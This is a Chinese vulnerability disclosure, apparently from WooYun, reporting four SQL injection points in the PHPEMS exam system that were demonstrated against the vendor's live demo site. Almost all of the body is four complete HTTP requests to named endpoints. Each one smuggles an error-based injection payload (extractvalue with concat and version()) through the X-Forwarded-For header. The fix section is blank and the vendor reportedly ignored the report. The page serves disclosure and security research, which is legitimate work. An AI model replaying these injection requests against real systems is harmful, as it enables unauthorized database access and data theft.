漏洞概要 关注数(24) 关注此漏洞
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漏洞详情
披露状态：
2015-03-25： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-09： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
代码审计之PHPEMS前台四处注入<官网demo演示>
详细说明：
官网：http://phpems.net
官方演示站：http://phpems.net/2014
分析过程如下图：
漏洞证明：
证明： 需要清空cookie，代码条件
1、http://phpems.net/2014//index.php?exam-api-login
GET /2014//index.php?exam-api-login HTTP/1.1
Host: phpems.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
X-Forwarded-For: 8.8.8.8' and extractvalue(1, concat(0x7e, (select version()),0x7e)))#
Connection: keep-alive
2、http://phpems.net/2014//index.php?user-master-user
GET /2014//index.php?user-master-user HTTP/1.1
Host: phpems.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
X-Forwarded-For: 8.8.8.8' and extractvalue(1, concat(0x7e, (select version()),0x7e)))#
Connection: keep-alive
3、http://phpems.net/2014//index.php?user-phone-register
GET /2014//index.php?user-phone-register HTTP/1.1
Host: phpems.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
X-Forwarded-For: 8.8.8.8' and extractvalue(1, concat(0x7e, (select version()),0x7e)))#
Connection: keep-alive
4、http://phpems.net/2014//index.php?document-api-manage
GET /2014//index.php?document-api-manage HTTP/1.1
Host: phpems.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
X-Forwarded-For: 8.8.8.8' and extractvalue(1, concat(0x7e, (select version()),0x7e)))#
Connection: keep-alive
修复方案：
版权声明：转载请注明来源 BMa@乌云
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漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝